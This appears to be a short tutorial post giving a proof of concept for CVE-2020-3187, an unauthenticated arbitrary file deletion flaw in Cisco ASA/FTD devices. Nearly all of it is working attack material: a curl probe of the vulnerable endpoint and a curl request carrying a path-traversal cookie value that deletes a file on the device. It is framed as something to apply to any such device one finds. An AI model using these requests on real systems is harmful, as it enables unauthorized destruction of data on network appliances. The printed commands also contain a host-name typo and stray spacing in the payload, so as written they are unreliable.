title: POC of CVE-2020-3187 - unauthenticated arbitrary file deletion in Cisco ASA/FTD author: Elsfa7-110 categories: [Tutorial] tags: [CVE] pin: true —
If you found Cisco ASA / FTD
Well let’s apply CVE-2020-3187 - Unauthenticated Arbitrary File Deletion
Vulnerable Endpoint
go to https://host/+CSCOE+/session_password.html
curl -k -s -i https://hotst/+CSCOE+/session_password.html
to delete logo file “/+CSCOU+/csco_logo.gif”.
curl -k -H “Cookie: token = .. / + CSCOU + / csco_logo.gif” https://host/+CSCOE+/session_password.html